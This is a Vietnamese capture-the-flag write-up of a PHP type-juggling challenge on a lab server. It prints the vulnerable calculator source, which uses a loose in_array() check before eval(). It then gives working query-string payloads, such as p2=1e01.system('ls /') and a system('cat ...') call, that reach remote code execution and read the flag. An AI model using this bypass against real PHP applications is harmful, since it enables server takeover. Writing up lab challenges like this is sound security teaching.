Write up - THỬ THÁCH NGÀY 1: PHP TYPE JUGGLING “_SMARTCALC.EXE_”
Hôm này cuối tuần, đang lướt facebook thì thấy một challenge của anh Mạnh Luật đăng về PHP Type Juggling
nên vào chiến thử xem thế nào.
I. Đề bài
Các bạn được cung cấp một URL: http://css.kid.cyberjutsu-lab.tech:9000/type_juggling_inarray.php?p1=191&p2=7&op=%2a
Đây là trang web viết bằng PHP (tất nhiên rồi), source code sẽ là: http://css.kid.cyberjutsu-lab.tech:9000/type_juggling_inarray.php?debug
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>MyApp Home</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="column">
<h1>>SmartCalc.exe_</h1>
<?php
ini_set('display_errors','On');
ini_set('error_reporting','E_ALL');
error_reporting(E_ALL);
if(isset($_GET['debug'])) die(highlight_file(__FILE__));
$whitelist_numbers = range(1,1000);
$whitelist_ops = array("+","-","*","/");
$param1 = $_GET['p1'];
$param2 = $_GET['p2'];
$operator = $_GET['op'];
if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) ){
$exec = "${param1} ${operator} ${param2}";
$evalcode = "return $exec;";
echo "<details><summary>DEBUG</summary>";
echo "PHP sẽ thực thi eval code sau đây:";
echo "<pre>$evalcode</pre>";
echo "</details><br>";
// Nếu chưa biết về eval có thể đọc ở đây: https://php.net/eval
echo $exec . " = ". eval($evalcode);
} else {
echo "Not supported";
}
?>
</pre>
<p>👉 <a href="?p1=191&p2=7&op=*">example</a><br>🤖 <a href="?debug">source</a></p>
</div>
</body>
Nhiệm vụ của chúng ta cần là: Nhiệm vụ là Remote Code Execution được server và kiếm được FLAG nhé!
II. Phân tích
Ở source code chúng ta mường tượng ra là: Để có thể Remote Code Execution
chúng ta cần đi được vào dòng code echo $exec . " = ". eval($evalcode);
, Vì sao? Vì trong đó có hàm eval()
. Nếu ai chưa biết eval()
là gì và để làm gì thì tham khảo https://www.php.net/manual/en/function.eval.php
Okie, vậy làm sao để chúng ta đi được đến dòng code có sử dụng eval()
. Đó là chúng ta cần đi qua được đoạn code sau:
if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) ){
$exec = "${param1} ${operator} ${param2}";
$evalcode = "return $exec;";
echo "<details><summary>DEBUG</summary>";
echo "PHP sẽ thực thi eval code sau đây:";
echo "<pre>$evalcode</pre>";
echo "</details><br>";
// Nếu chưa biết về eval có thể đọc ở đây: https://php.net/eval
echo $exec . " = ". eval($evalcode);
} else {
echo "Not supported";
}
Phải đi qua được bước kiểm tra điều kiện if
. Tức là chúng ta phải làm sao để điều kiện trong if
là True
.
in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) => true
Trước khi làm được nó true
chúng ta phải biết được thông tin như sau:
in_array()
hoạt động như thế nào? và trong source code trên thì nó đang dùng như thế nào?
Trả lời từng thông tin trên nhé:
in_array
— Checks if a value exists in an array (Kiểm tra 1 giá trị có tồn tại trong 1 array hay không? Có giá trị trả về là true, false
in_array(mixed $needle, array $haystack, bool $strict = false): bool
Searches for needle in haystack using loose comparison unless strict is set.
⇒ Tức là nếu set tham số $strict = false thì PHP sẽ sử dụng loose comparison
. Vậy là như trong source code chúng ta thấy, nó không set tham số strict
nên mặc định nó là false ⇒ loose comparison
Vậy chúng ta có 3 điều kiện in_array($param1, $whitelist_numbers)
, in_array($param2, $whitelist_numbers)
, in_array($operator, $whitelist_ops)
. Chúng ta phải làm sao cho cả 3 đều true
, vì if
sử dụng logic &&
.
Bây giờ chúng ta sẽ dựa vào một số kiến thức về PHP Type Juggling, nếu bạn nào chưa biết thì tham khảo https://www.facebook.com/groups/trungtamhocbaomat/posts/510350200475928/
Chúng ta thấy, vậy là nếu ép kiểu 1 string 1e
theo sau là 1 string bất kỳ (ví dụ: 1eaaaa
) về kiểu int, thì sẽ là (int) 1
Bypass để in_array($param1, $whitelist_numbers)
là true
- $param1 = $_GET[‘p1’];
- $whitelist_numbers = range(1, 1000);
⇒ $param1 = ‘1e' +**string bất kỳ**
thì in_array($param1, $whitelist_numbers)
sẽ là true.
Bypass để in_array($param2, $whitelist_numbers)
là true
- $param2 = $_GET[‘p2’];
- $whitelist_numbers = range(1, 1000);
⇒ $param2 = ‘1e' +**string bất kỳ**
thì in_array($param2, $whitelist_numbers)
sẽ là true.
Để in_array($operator, $whitelist_ops)
là true.
- $whitelist_ops = array("+","-","*","/");
- $operator = $_GET[‘op’];
⇒ Chỉ cần $operator là 1 trong các ký tự "+","-","*","/"
đều được.
Xem cách tạo ra tham số truyền vào eval()
$exec = "${param1} ${operator} ${param2}";
$evalcode = "return $exec;";
echo $exec . " = ". eval($evalcode);
Tham số truyền vào eval()
có dạng return ${param1} ${operator} ${param2}
III. Khai thác
Bây giờ chúng ta đã có thể kiểm soát được input tùy ý, nhưng vẫn có thể khiến if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) )
là true, bằng cách thêm 1e
và $param1, $param2.
Vậy phải làm sao để khai thác được? Trong PHP có function system($cmd)
dùng để gọi câu lệnh của hệ thống, ví dụ:
system('whoami');
Sẽ là trả về user đang dùng để chạy PHP. Như trên máy mình chẳng hạn, mình hỏi nó whoami
nó trả lời là nguyenmanh
⇒ Thì mình là nguyenmanh
mà :v
Ý mình chỉ muốn nói ở đây, là system()
có thể thực thi được câu lệnh hệ thống.
Chúng ta sẽ thử input vào $param2 để tham số truyền vào eval()
có dạng như bên dưới:
return ${param1} ${operator} 1e{payload}
Chúng ta sẽ thử với.
p1=1e01
p1=1e01
op=*
p1=1e01&p2=1e01.system('ls')&op=*
Chúng ta đã thấy, các file có trong cùng folder với source code đã được show ra.
Việc của chúng ta bây giờ là tìm file flag và đọc nó.
Tôi thử đi ra folder ls
folder /
xem sao.
p1=1e01&p2=1e01.system('ls /')&op=*
Rồi rồi, chúng ta đã thấy file có tên DAY_LA_CAI_FLAG_CHUC_MUNG_BAN
, Bây giờ chỉ cần đọc nó lên thôi.
p1=1e01&p2=1e01.system('cat /DAY_LA_CAI_FLAG_CHUC_MUNG_BAN')&op=*
⇒ Flag là: CBJS{type_juggling_PHP_is_weird}
IV. Tổng kết
Vậy là chúng ta vừa đi giải một bài về PHP Type Juggling
khá hay ho.
Nếu bài viết có chỗ nào chưa được hợp lý, mong các bạn đóng góp thêm để mình ngày càng hoàn thiện hơn.
Cảm ơn các bạn đã đọc bài.